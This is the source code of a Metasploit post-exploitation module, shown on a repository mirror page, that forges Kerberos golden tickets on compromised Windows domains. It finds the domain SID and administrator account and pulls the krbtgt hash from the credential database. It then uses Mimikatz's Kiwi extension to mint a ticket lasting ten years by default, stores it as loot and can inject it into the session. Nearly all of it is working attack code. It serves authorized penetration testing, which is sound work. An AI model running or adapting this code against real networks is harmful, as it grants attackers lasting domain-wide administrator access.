Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/golden_ticket.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::NetAPI
8
include Msf::Post::Windows::Accounts
9
include Msf::Post::Windows::Kiwi
10
include Msf::Post::Windows::Error
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Escalate Golden Ticket',
17
'Description' => %q{
18
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
19
options are applied it will attempt to identify the current domain, the domain administrator
20
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
21
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Ben Campbell'
26
],
27
'Platform' => [ 'win' ],
28
'SessionTypes' => [ 'meterpreter' ],
29
'References' => [
30
['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos']
31
],
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
kiwi_exec_cmd
36
stdapi_railgun_api
37
]
38
}
39
},
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'SideEffects' => [],
43
'Reliability' => []
44
}
45
)
46
)
47
48
register_options(
49
[
50
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
51
OptString.new('USER', [false, 'Target User']),
52
OptString.new('DOMAIN', [false, 'Target Domain']),
53
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NT Hash']),
54
OptString.new('Domain SID', [false, 'Domain SID']),
55
OptInt.new('ID', [false, 'Target User ID']),
56
OptString.new('GROUPS', [false, 'ID of Groups (Comma Separated)']),
57
OptInt.new('END_IN', [true, 'End in ... Duration in hours, default 10 YEARS (~87608 hours)', 87608])
58
]
59
)
60
end
61
62
def run
63
return unless load_kiwi
64
65
user = datastore['USER']
66
domain = datastore['DOMAIN']
67
krbtgt_hash = datastore['KRBTGT_HASH']
68
domain_sid = datastore['SID']
69
id = datastore['ID'] || 0
70
end_in = datastore['END_IN'] || 87608
71
72
unless domain
73
print_status('Searching for the domain...')
74
domain = get_domain
75
if domain
76
print_good("Targeting #{domain}")
77
else
78
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
79
end
80
end
81
82
unless krbtgt_hash
83
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') unless framework.db.active
84
85
print_status('Searching for krbtgt hash in database...')
86
krbtgt_hash = lookup_krbtgt_hash(domain)
87
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
88
end
89
90
unless domain_sid
91
print_status("Obtaining #{domain} SID...")
92
domain_sid = lookup_domain_sid(domain)
93
94
if domain_sid
95
print_good("Found #{domain} SID: #{domain_sid}")
96
else
97
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
98
end
99
end
100
101
unless user
102
if id && id != 0
103
print_status("Looking up User ID: #{id}")
104
user = resolve_sid("#{domain_sid}-#{id}")[:name]
105
else
106
print_status('Looking up Domain Administrator account...')
107
user = resolve_sid("#{domain_sid}-500")[:name]
108
end
109
110
if user
111
print_good("Found User: #{user}")
112
else
113
fail_with(Failure::Unknown, 'Unable to find User')
114
end
115
end
116
117
# Golden Ticket requires an NTHash
118
if Metasploit::Framework::Hashes.identify_hash(krbtgt_hash) != 'nt'
119
fail_with(Failure::BadConfig, 'KRBTGT_HASH must be an NTHash')
120
end
121
nt_hash = krbtgt_hash.split(':')[1]
122
123
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
124
ticket = client.kiwi.golden_ticket_create({
125
user: user,
126
domain_name: domain,
127
domain_sid: domain_sid,
128
krbtgt_hash: nt_hash,
129
id: id,
130
group_ids: datastore['GROUPS'],
131
end_in: end_in
132
})
133
134
if ticket
135
print_good('Golden Ticket Obtained!')
136
kirbi_ticket = Base64.decode64(ticket)
137
kirbi_location = store_loot('golden_ticket',
138
'kirbi',
139
session,
140
kirbi_ticket,
141
"#{domain}\\#{user}-golden_ticket.kirbi",
142
"#{domain}\\#{user} Golden Ticket")
143
print_status("Kirbi ticket saved to #{kirbi_location}")
144
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(kirbi_ticket)
145
146
ccache_ticket = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
147
ccache_location = store_loot('golden_ticket',
148
'ccache',
149
session,
150
ccache_ticket.to_binary_s,
151
"#{domain}\\#{user}-golden_ticket.ccache",
152
"#{domain}\\#{user} Golden Ticket")
153
print_status("ccache ticket saved to #{ccache_location}")
154
155
if datastore['USE']
156
print_status('Attempting to use the ticket...')
157
client.kiwi.kerberos_ticket_use(ticket)
158
print_good('Kerberos ticket applied successfully')
159
end
160
else
161
fail_with(Failure::Unknown, 'Unable to create ticket')
162
end
163
end
164
165
def lookup_domain_sid(domain)
166
string_sid = nil
167
168
cb_sid = sid_buffer = 100
169
cch_referenced_domain_name = referenced_domain_name_buffer = 100
170
171
res = client.railgun.advapi32.LookupAccountNameA(
172
nil,
173
domain,
174
sid_buffer,
175
cb_sid,
176
referenced_domain_name_buffer,
177
cch_referenced_domain_name,
178
1
179
)
180
181
if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER
182
sid_buffer = cb_sid = res['cbSid']
183
referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']
184
185
res = client.railgun.advapi32.LookupAccountNameA(
186
nil,
187
domain,
188
sid_buffer,
189
cb_sid,
190
referenced_domain_name_buffer,
191
cch_referenced_domain_name,
192
1
193
)
194
elsif !res['return']
195
return nil
196
end
197
198
if res['return']
199
sub_authority_count = res['Sid'].unpack('CC')[1]
200
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
201
202
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
203
else
204
print_error("Error looking up SID: #{res['ErrorMessage']}")
205
end
206
207
string_sid
208
end
209
210
def lookup_krbtgt_hash(domain)
211
krbtgt_hash = nil
212
213
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
214
metasploit_credential_publics: { username: 'krbtgt' },
215
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
216
workspace_id: myworkspace_id
217
)
218
219
if krbtgt_creds
220
221
if krbtgt_creds.count == 0
222
print_error('No KRBTGT Hashes found in database')
223
elsif krbtgt_creds.count > 1
224
225
# Can we reduce the list by domain...
226
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
227
228
# We have found a krbtgt hashes in our target domain
229
if krbtgt_creds_realm.length == 1
230
cred = krbtgt_creds_realm.first
231
krbtgt_hash = cred.private.data.split(':')[1]
232
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
233
return krbtgt_hash
234
# We have found multiple krbtgt hashes in our target domain?!
235
elsif !krbtgt_creds_realm.empty?
236
krbtgt_creds = krbtgt_creds_realm
237
end
238
239
# Multiple hashes found, the user will have to manually set one...
240
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
241
krbtgt_creds.each do |kc|
242
hash = kc.private.data.split(':')[1]
243
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
244
end
245
else
246
# Highlander, there can only be one!
247
cred = krbtgt_creds.first
248
krbtgt_hash = cred.private.data.split(':')[1]
249
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
250
end
251
end
252
253
krbtgt_hash
254
end
255
end
256
257